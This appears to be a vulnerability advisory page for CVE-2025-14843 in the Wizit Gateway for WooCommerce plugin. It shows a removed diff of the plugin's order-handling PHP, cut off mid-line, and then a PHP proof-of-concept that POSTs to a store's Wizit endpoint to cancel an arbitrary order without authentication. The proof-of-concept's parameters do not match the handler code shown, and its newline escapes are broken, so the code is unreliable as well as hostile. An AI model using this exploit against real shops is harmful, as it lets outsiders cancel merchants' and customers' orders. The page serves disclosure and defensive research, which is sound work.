-                    $results = $wpdb->get_results( "SELECT * FROM {$wpdb->posts} WHERE `post_type` = 'wizit_order' AND post_date >= DATE_ADD(CURDATE(), INTERVAL -5 DAY) order by id desc" );
-                    if(!empty($results)){
-                        foreach($results as $row){
-
-                            if(in_array($row->ID, $orderIds)){
-                                continue;
-                            }
-
-                            echo '<tr>';
-
-                            $first_name = '';
-                            $last_name = '';
-                            $total_amount = 0;
-
-                            $post_data = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}postmeta WHERE `post_id` = {$row->ID} order by meta_id desc" );
-                            if(!empty($post_data)){
-                                foreach($post_data as $pa){
-                                    if($pa->meta_key == '_order_total'){
-                                        $total_amount = floatval($pa->meta_value);
-                                    }else if($pa->meta_key == '_billing_first_name'){
-                                        $first_name = $pa->meta_value;
-                                    }
-                                    else if($pa->meta_key == '_billing_last_name'){
-                                        $last_name = $pa->meta_value;
-                                    }
-                                }
-                            }
-
-                            echo '  <td><button style="background: transparent;border: none;color: blue;cursor: pointer;" onclick="showOrderLine('. $row->ID .')" class="wizit-order-btn" type="button">#' . $row->ID . ' ' . $first_name. ' ' . $last_name. '</button></td>';
-                            echo '  <td>' . (new DateTime($row->post_date))->format('F j Y'). '</td>';
-                            echo '  <td>$' . number_format($total_amount, 2, '.', ','). '</td>';
-                            echo '</tr>';
-                            echo $this->get_woo_order_item($row->ID);
-
-                            $orderIds[] = $row->ID;
-                        }
-                    }
-               // }
-
-        ?>
-                </table>
-                <!-- call js to change display method -->
-
-        <?php
-        return ob_get_clean();
-    }
-
-
-    private function get_woo_order_item($order_id){
-        global $wpdb;
-        // 1. get order line
-        $wizit_order_lines = '<td colspan="3"><table class="wp-list-table widefat fixed striped table-view-list posts wizit-inc-order-tbl"><tr><th>Name</th><th>QTY</th><th>Total</th></tr>';
-        $results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}woocommerce_order_items where `order_id` = {$order_id} and `order_item_type` = 'line_item'" );
-        if(!empty($results)){
-            foreach($results as $result){
-                // get order line meta
-                $order_line_metas = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}woocommerce_order_itemmeta where `order_item_id` = {$result->order_item_id}" );
-                if(!empty($order_line_metas)){
-                    $qty = 1;
-                    $line_total = 0;
-                    foreach($order_line_metas as $order_line_meta){
-                        if($order_line_meta->meta_key == '_qty'){
-                           $qty = $order_line_meta->meta_value;
-                        }
-                        else if($order_line_meta->meta_key == '_line_total'){
-                            $line_total = floatval($order_line_meta->meta_value);
-                        }
-                    }
-                    $wizit_order_lines = $wizit_order_lines .
-                            "<tr>
-                                    <td>{$result->order_item_name}</td>
-                                    <td>{$qty}</td>
-                                    <td>$ ". number_format($line_total,2,'.', ',') ."</td>
-                            </tr>";
-                }
-            }
-        }
-        $wizit_order_lines = $wizit_order_lines . '</table></td>';
-
-
-        return '<tr class="wizit-inc-order-holder" style="display:none;" id="wizit-inc-order-'. $order_id .'">'. $wizit_order_lines .'</tr>';
-    }
-
-    /**
-     * Generate WYSIWYG input field. This is a pseudo-magic method, called for each form field with a type of "wysiwyg".
-     *
-     * @since   2.0.0
-     * @see     WC_Settings_API::generate_settings_html()   For where this method is called from.
-     * @param   mixed       $key
-     * @param   mixed       $data
-     * @uses    esc_attr()                                  Available in WordPress core since 2.8.0.
-     * @uses    wp_editor()                                 Available in WordPress core since 3.3.0.
-     * @return  string                                      The HTML for the table row containing the WYSIWYG input field.
-     */
-
-    public function generate_wysiwyg_html($key, $data)
-    {
-        $html = "";
-        $id = str_replace("-", "", $key);
-        $class = array_key_exists("class", $data) ? $data["class"] : "";
-        $css = array_key_exists("css", $data)
-            ? "<style>" . $data["css"] . "</style>"
-            : "";
-
-        $name = "{$this->plugin_id}{$this->id}_{$key}";
-        $title = array_key_exists("title", $data) ? $data["title"] : "";
-        $value = array_key_exists($key, $this->settings)
-            ? esc_attr($this->settings[$key])
-            : "";
-
-        $description = array_key_exists("description", $data)
-            ? $data["description"]
-            : "";
-
-        ob_start();
-        include "wizit/wysiwyg.html.php";
-        $html = ob_get_clean();
-        return $html;
-    }
-
-    /**
-     * Fields to show on payment page - here it is only displaying description. To show form or other components include them below.
-     *
-     */
-
-    public function payment_fields()
-    {
-
-        //if ($this->description) {
-            // echo wpautop(wp_kses_post($this->description));
-           // echo 'Wizitcard - Interest free credit card up to $1,000 limit with a simple monthly fee.';
-        //}
-
-        global $woocommerce;
-        $currency_symbol = get_woocommerce_currency_symbol();
-        //echo "Hello from payment fields!!";
-        $order_total = WC()->cart->total;
-        //$sub_totalamount = WC()->cart->get_total();
-        $installments = number_format($order_total / 4, 2);
-        wizit_hook_class::load_required_css_js_file();
-        if (!function_exists("get_wizit_popup_window")) {
-            include "wizit/wizit-helper.php";
-        }
-
-        echo '<fieldset id="wizit-' .
-            esc_attr($this->id) .
-            '-cc-form" class="wc-credit-card-form wc-payment-form" style="background:transparent;">';
-
-        do_action("woocommerce_credit_card_form_start", $this->id);
-        ?>
-
-        <div id="wizit-<?php echo esc_attr(
-            $this->id
-        ); ?>-payment-schedule-container" class="wizit-form-row wizit-form-row-wide">
-
-        </div>
-            <script>Wizit_Widgets_PaymentSchedule("wizit-<?php echo esc_attr(
-                $this->id
-            ); ?>-payment-schedule-container", <?php echo esc_attr(
-                $order_total
-            ); ?>,
-            <?php echo esc_attr($installments); ?>)</script>
-        <?php
-        do_action("woocommerce_credit_card_form_end", $this->id);
-
-        echo '<div class="clear"></div></fieldset>';
-    }
-
-    public function payment_scripts()
-    {
-        wizit_hook_class::load_required_css_js_file();
-    }
-
-    public function process_payment($order_id)
-    {
-        global $woocommerce;
-        $forapi = "checkout";
-        $store_currency = strtoupper(get_option("woocommerce_currency"));
-        if (!$this->is_currency_supported()) {
-            $return = [
-                "result" => "failure",
-                "messages" =>
-                    "<ul class='woocommerce-error' role='alert'><li>" .
-                    $this->statement_descriptor .
-                    ": Order cannot be processed through Wizit because the store currency is not supported. Store currency: " .
-                    $store_currency .
-                    "</li></ul>",
-            ];
-
-            $this->log->add(
-                "Wizit",
-                sprintf("Store currency: %s", $store_currency) . PHP_EOL
-            );
-
-            wp_send_json($return);
-            wp_die();
-        } else {
-            // is_currency_supported()
-            $merchantrefernce = get_post_meta(
-                $order_id,
-                "merchantrefernce",
-                true
-            );
-
-            $wzapi = new Wizit_API();
-            $dataresponse = $wzapi->prepare_api_input($order_id, $forapi);
-
-            $wzresponse = $wzapi->call_checkouts_redirect_api(
-                $this->wz_api_key,
-                $dataresponse
-            );
-
-            $this->log->add(
-                "Wizit",
-                "========= initiating transaction request" . PHP_EOL
-            );
-
-            if (false === $wzresponse || false !== $wzapi->get_api_error()) {
-                $return = [
-                    "result" => "failure",
-                    "messages" =>
-                        "<ul class='woocommerce-error' role='alert'><li>" .
-                        $this->statement_descriptor .
-                        ": Something went wrong while finalising your payment. Wizit Checkout Redirect Error: " .
-                        $wzapi->get_api_error() .
-                        "</li></ul>",
-                ];
-
-                $this->log->add(
-                    "Wizit",
-                    "========= checkout redirect failed" . PHP_EOL
-                );
-
-                $this->log->add(
-                    "Wizit",
-                    sprintf("failure message: %s", json_encode($return)) .
-                        PHP_EOL
-                );
-
-                wp_send_json($return);
-                wp_die();
-            } else {
-                // API return success
-                if($this->is_use_full_woo_order_management_sys() == false){
-                    // hide wc-order
-                    global $wpdb;
-                    if (AutomatticWooCommerceUtilitiesOrderUtil::custom_orders_table_usage_is_enabled()) {
-                        // HPOS usage is enabled.
-                        $table_wc_order = $wpdb->prefix . "wc_orders";
-                        $wpdb->update(
-                            //$table,
-                            $table_wc_order,
-                            //$data,
-                            [
-                                "type" => "wizit_order", // string
-                            ],
-                            //$where
-                            ["id" => $order_id],
-                            //$format
-                            ["%s"],
-                            //$where_format
-                            ["%d"]
-                        );
-                    }
-                    //else {
-                        // Traditional CPT-based orders are in use. always do that.
-                    $wpdb->update(
-                        $wpdb->posts,
-                        ["post_type" => "wizit_order"],
-                        ["ID" => $order_id],
-                        ["%s"],
-                        ["%d"]
-                    );
-                    //}
-                }
-
-
-                $this->log->add(
-                    "Wizit",
-                    "========= successfully redirect" . PHP_EOL
-                );
-
-                $token = $wzresponse["token"];
-                $wzTxnId = $wzresponse["transactionId"];
-                update_post_meta($order_id, "wz_token", $token);
-                update_post_meta($order_id, "wz_txn_id", $wzTxnId);
-                $redirect_url = $wzresponse["redirectCheckoutUrl"];
-                return [
-                    "result" => "success",
-                    "redirect" => $redirect_url,
-                ];
-            }
-        } // if(!$this->is_currency_supported()
-    } // End of process_payment()
-
-
-    private function is_use_full_woo_order_management_sys(){
-        $getsettings = get_option("woocommerce_wizit_settings", true);
-        if(isset($getsettings)
-            && isset($getsettings['show_all_incomplete_orders_in_order_list'])
-            && $getsettings["show_all_incomplete_orders_in_order_list"] == 'yes'){
-                return true;
-        }
-        else
-        {
-            return false;
-        }
-    }
-
-    private function is_currency_supported()
-    {
-        $store_currency = strtoupper(get_option("woocommerce_currency"));
-
-        return in_array($store_currency, $this->supported_currencies);
-    }
-
-    public function get_order_status_failed_error_notice($wzapi)
-    {
-        if (function_exists("wc_add_notice")) {
-            wc_add_notice("Wizit init", "success");
-        }
-    }
-
-    /**
-     * Server callback was valid, process callback (update order as passed/failed etc).
-     *
-     */
-
-    public function handle_checkout_redirecturl_response($response)
-    {
-        global $woocommerce;
-        $this->log->add(
-            "Wizit",
-            "========= Wizit API callback function start" . PHP_EOL
-        );
-
-        $this->log->add(
-            "Wizit",
-            "========= Wizit API callback URL = " .
-                $_SERVER["REQUEST_URI"] .
-                PHP_EOL
-        );
-
-        if (isset($_REQUEST["orderid"])) {
-            $order_id = sanitize_text_field($_REQUEST["orderid"]);
-            if ($order_id != null) {
-                // switch unreadable order to woo order
-                if($this->is_use_full_woo_order_management_sys() == false){
-                    global $wpdb;
-                    if ( AutomatticWooCommerceUtilitiesOrderUtil::custom_orders_table_usage_is_enabled()) {
-                        // HPOS usage is enabled.
-                        $table_wc_order = $wpdb->prefix . "wc_orders";
-                        $wpdb->update(
-                            //$table,
-                            $table_wc_order,
-                            //$data,
-                            [
-                                "type" => "shop_order", // string
-                            ],
-                            //$where
-                            ["id" => $order_id],
-                            //$format
-                            ["%s"],
-                            //$where_format
-                            ["%d"]
-                        );
-                    }
-                    //else {
-                        // Traditional CPT-based orders are in use.  always check this
-                    $wpdb->update(
-                        $wpdb->posts,
-                        ["post_type" => "shop_order"],
-                        ["ID" => $order_id],
-                        ["%s"],
-                        ["%d"]
-                    );
-                    //}
-                }
-            }
-        }
-
-        //sleep for 10 seconds to waiting for other cron worker to finish
-        sleep(10);
-
-        if (isset($_REQUEST["orderid"]) && isset($_REQUEST["target"])) {
-            $this->log->add(
-                "Wizit",
-                "========= target = ." . $_REQUEST["target"] . PHP_EOL
-            );
-
-            $this->log->add(
-                "Wizit",
-                "========= orderid = ." . $_REQUEST["orderid"] . PHP_EOL
-            );
-
-            $order_id = sanitize_text_field($_REQUEST["orderid"]);
-
-            $order = wc_get_order($order_id);
-
-            $this->log->add(
-                "Wizit",
-                "target = " . $_REQUEST["target"] . PHP_EOL
-            );
-
-            $this->log->add("Wizit", "order_id = " . $order_id . PHP_EOL);
-            if ($order) {
-                if (
-                    isset($_REQUEST["target"]) &&
-                    "fail" == $_REQUEST["target"]
-                ) {
-                    $this->log->add(
-                        "Wizit",
-                        "========= target = fail was returned and hence need to cancel the woo order." .
-                            PHP_EOL
-                    );
-
-                    update_post_meta(
-                        $order_id,
-                        "wz_txn_cancelled_reason",
-                        "abandon"
-                    );
-
-                    $order->update_status(
-                        "cancelled",
-                        sprintf(
-                            __(
-                                "Your payment through Wizit has been cancelled.",
-                                "woocommerce-wizit-gateway."
-                            )
-                        )
-                    );
-
-                    if (function_exists("wc_add_notice")) {
-                        wc_add_notice(
-                            "Your payment through Wizit has been cancelled.",
-                            "error"
-                        );
-                    }
-
-                    $return_url = wc_get_checkout_url();
-
-                    $this->redirect_to_fail_url($return_url);
-
-                } elseif (
-                    isset($_REQUEST["target"]) &&
-                    "cart" == $_REQUEST["target"]
-                ) {
-                    $this->log->add(
-                        "Wizit",
-                        "========= target = cart was returned." . PHP_EOL
-                    );
-
-                    $order->add_order_note(
-                        "Your payment through Wizit has been cancelled."
-                    );
-
-                    if (function_exists("wc_add_notice")) {
-                        wc_add_notice(
-                            "Your payment through Wizit has been cancelled.",
-                            "error"
-                        );
-                    }
-
-                    $return_url = wc_get_cart_url();
-
-                    $this->redirect_to_fail_url($return_url);
-                } elseif (
-                    isset($_REQUEST["target"]) &&
-                    "checkout" == $_REQUEST["target"]
-                ) {
-                    $this->log->add(
-                        "Wizit",
-                        "========= target = checkout was returned." . PHP_EOL
-                    );
-
-                    $order->add_order_note(
-                        "Your payment through Wizit has been cancelled."
-                    );
-
-                    if (function_exists("wc_add_notice")) {
-                        wc_add_notice(
-                            "Your payment through Wizit has been cancelled.",
-                            "error"
-                        );
-                    }
-
-                    $return_url = wc_get_checkout_url();
-
-                    $this->redirect_to_fail_url($return_url);
-                } elseif (
-                    isset($_REQUEST["target"]) &&
-                    "limitexceeded" == $_REQUEST["target"]
-                ) {
-                    $limitamount = !empty(
-                        sanitize_text_field($_GET["limitamount"])
-                    )
-                        ? sanitize_text_field($_GET["limitamount"])
-                        : 500;
-
-                    $this->log->add(
-                        "Wizit",
-                        "========= target = limitexceeded was returned with limitamount = " .
-                            $limitamount .
-                            "." .
-                            PHP_EOL
-                    );
-
-                    if (function_exists("wc_add_notice")) {
-                        wc_add_notice(
-                            'It looks like this is your first time using Wizit. For first time customers, the maximum purchase amount is $' .
-                                sanitize_text_field($limitamount) .
-                                ". Please revise the value of your order before continuing.",
-                            "error"
-                        );
-                    }
-
-                    $order->add_order_note(
-                        'It looks like this is your first time using Wizit. For first time customers, the maximum purchase amount is $' .
-                            sanitize_text_field($limitamount) .
-                            ". Please revise the value of your order before continuing."
-                    );
-
-                    $return_url = wc_get_cart_url();
-
-                    $this->redirect_to_fail_url($return_url);
-                }
-            }
-            else {
-                $this->log->add(
-                    "Wizit",
-                    "========= order not found with ID = " .
-                    $order_id .
-                        "." .
-                        PHP_EOL
-                );
-            }
-        } elseif (isset($_REQUEST["orderid"]) && isset($_REQUEST["mref"])) {
-            $order_id = sanitize_text_field($_REQUEST["orderid"]);
-
-            $merchantReference = sanitize_text_field($_REQUEST["mref"]);
-
-            $order = wc_get_order($order_id);
-
-            if ($order) {
-                $this->log->add(
-                    "Wizit",
-                    "========= order details retrive" . PHP_EOL
-                );
-
-                $orderToken = get_post_meta($order_id, "wz_token", true);
-
-                $wzTxnId = get_post_meta($order_id, "wz_txn_id", true);
-
-                $uniqid = md5(time() . $order_id);
-
-                $api_data = [
-                    "transactionId" => $wzTxnId,
-
-                    "token" => $orderToken,
-
-                    "merchantReference" => $merchantReference,
-                ];
-
-                $wzapi = new Wizi

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14843 - Wizit Gateway for WooCommerce <= 1.2.9 - Missing Authentication to Unauthenticated Arbitrary Order Cancellation
<?php

$target_url = 'https://vulnerable-site.com/wc-api/wc_gateway_wizit/';
$order_id = 1234; // Replace with a valid WooCommerce order ID

// Craft the POST data to cancel an order.
// The 'status' parameter may need to be 'cancelled', 'failed', or another valid WooCommerce status.
$post_data = array(
    'orderId' => $order_id,
    'status'  => 'cancelled'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); // For testing only

// Add headers to simulate a typical request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Atomic Edge PoC',
    'Content-Type: application/x-www-form-urlencoded'
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    // A successful exploitation may return a redirect or a JSON response.
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School